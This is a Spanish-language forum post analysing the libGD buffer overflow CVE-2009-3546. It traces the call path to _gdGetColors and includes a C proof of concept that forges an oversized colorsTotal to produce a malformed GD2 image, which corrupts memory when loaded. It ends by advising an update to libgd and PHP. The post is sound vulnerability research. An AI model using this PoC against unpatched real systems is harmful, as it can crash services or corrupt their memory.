Versión en PDF: CVE-2009-3546.pdf
libGD -- _gdGetColors buffer overflow
El problema original fue reportado en PHP, pero la raíz de este esta en la biblioteca original libGD <= 2.0.35
En el advisory[1] menciona a la función _gdGetColors como causante de este problema al leer directamente del archivo gd la imagen y cargarla sin pasar por algún tipo de filtro bien implementado.
Si bien este problema ya tiene bastante tiempo septiembre de 2009. Si vemos en la pagina principal[2] de la biblioteca, la versión que ofrecen como estable es la versión 2.0.35
El punto aquí es que ya no deberían de tenerla en la pagina principal. Se que el fallo es viejo, sin embargo había hecho el análisis de el mismo hace tiempo.
Después de descargarnos el código fuente podremos comenzar con el análisis.
El primer paso que he seguido es buscar donde aparece _gdGetColors dentro de gd_gd2.c
Código
Anon@localhost % grep -n _gdGetColors gd_gd2.c
59:extern int _gdGetColors (gdIOCtx * in, gdImagePtr im, int gd2xFlag);
225: if (!_gdGetColors (in, im, (*vers) == 2))
560: if (!_gdGetColors (in, im, vers == 2))
Vemos la función _gdGetColors es llamada desde las funciones _gd2CreateFromFile y gdImageCreateFromGd2PartCtx
La que nos interesa es la primera, ya que es el archivo el que vamos a cargar
Código
Anon@localhost % grep -n _gd2CreateFromFile gd_gd2.c
200:_gd2CreateFromFile (gdIOCtxPtr in, int *sx, int *sy,
322:_gd2CreateFromFile (in, &sx, &sy, &cs, &vers, &fmt, &ncx, &ncy,
Ahora vemos que la linea 200 es el prototipo de función y que la linea 322 es la llamada a nuestra función y vemos que es llamada desde la función gdImageCreateFromGd2Ctx y si buscamos continuación:
Código
Anon@localhost % grep -n gdImageCreateFromGd2Ctx gd_gd2.c
285: im = gdImageCreateFromGd2Ctx (in);
296: im = gdImageCreateFromGd2Ctx (in);
301:BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2Ctx (gdIOCtxPtr in)
1066:BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2Ctx (gdIOCtxPtr in)
Vemos 2 declaraciones la de la linea 1066 se crea en caso de que no tengamos soporte para archivos comprimidos.
Vemos quien llama a dicha función y vemos que es:
gdImageCreateFromGd2Ptr y gdImageCreateFromGd2 Si observamos la función gdImageCreateFromGd2 vemos que internamente también ejecuta el llamado a gdImageCreateFromGd2Ptr entonces basta que nos concentremos en gdImageCreateFromGd2
Entonces si nosotros ejecutamos a gdImageCreateFromGd2 como en el ejemplo siguiente código estaremos llamando a las funciones antes mencionadas
Existen ocasiones en las cuales en necesario ver a fondo todos los filtros por los que pasa nuestra entrada.
Código
/*
Anon elhacker.net
readGD.c
test libgd - gdImageCreateFromGd2
*/
#include<stdio.h>
#include"gd.h"
int main(){
gdImagePtr im;
FILE *in;
in = fopen("rect_u.gd", "rb");
im = gdImageCreateFromGd2(in);
if(gdImageTrueColor(im))
printf("true color!!\n");
else
printf("palette!!\n");
fclose(in);
gdImageDestroy(im);
}
El orden de las llamada internas en la biblioteca sera el siguiente
gdImageCreateFromGd2
gdImageCreateFromGd2Ctx
_gd2CreateFromFile
_gdGetColors
Después de crear un PoC que nos genere la imagen mal formada:
Código
/*
Anon@elhacker.net
createGD.c
test libgd - gdImageGd2
*/
#include<stdio.h>
#include<gd.h>
int main(){
gdImagePtr im;
int black, white;
FILE *out_c,*out_u;
im = gdImageCreate(100, 100);
white = gdImageColorAllocate(im, 255, 255, 255);
black = gdImageColorAllocate(im, 0, 0, 0);
gdImageRectangle(im, 0, 0, 99, 99, black);
printf("trueColor: 0x%x\n",im->trueColor);
printf("colorsTotal: 0x%x\n",im->colorsTotal);
im->colorsTotal = 0xffff ;
printf("colorsTotal: 0x%x\n",im->colorsTotal);
out_c = fopen("rect_c.gd", "wb");
out_u = fopen("rect_u.gd", "wb");
gdImageGd2(im, out_c, 0, GD2_FMT_COMPRESSED);
gdImageGd2(im, out_u, 0, GD2_FMT_RAW);
fclose(out_c);
fclose(out_u);
gdImageDestroy(im);
}
Una imagen vale mas que mil palabras:
En este punto podremos analizar la función gdImageCreateFromGd2Ctx dentro de gd_gd2 para ver que es lo que esta pasando.
Código
unsigned char **pixels;
Como este es un apuntador que apunta a los apuntadores de los pixeles vemos que al momento de leer la imagen la librería ejecuto lo siguiente en gd_gd.c linea 99:
Código
for (i = 0; (i < im->colorsTotal); i++)
{
im->open[i] = 0;
};
En realidad es cualquier segmento que tenga como limite im->colorsTotal.
Si vemos parte de la estructura del apuntador gdImagePtr
Código
typedef struct gdImageStruct
{
/* Palette-based image pixels */
unsigned char **pixels;
int sx;
int sy;
/* These are valid in palette images only. See also
'alpha', which appears later in the structure to
preserve binary backwards compatibility */
int colorsTotal;
int red[gdMaxColors];
int green[gdMaxColors];
int blue[gdMaxColors];
int open[gdMaxColors];
Vemos que open fue sobre escrito con 0 junto con todas las variables arriba de el así hasta colocar 4095 valores enteros en memoria eso incluyo sobrescribir todos los apuntadores a pixels que hubiese ahí, el valor máximo posible a introducir es 65535
También es posible hacer este fallo en PHP:
Conclusiones
La vulnerabilidad anterior no es grave sin embargo existen muchas similares en programas que no implementan buenos filtros, dado que las variables están alojadas heap esto debido a las llamadas a malloc es posible sobrescribir las mimas variables alojas continuamente en la memoria esto es, si estamos trabajando con varios apuntadores a gdImagePtr es posible que otras imágenes se vean afectadas. Es posible un Heap overflow, sin embargo en la mayoría de las ocasiones le programa se va a cerrar por algún error como el anterior y recordemos que este depende de como se encuentre implementado el algoritmo de malloc.
Recomendaciones
Actualizar libgd y php si cuentas con una versión vulnerable a este fallo.
Referencias:










Autor








En línea

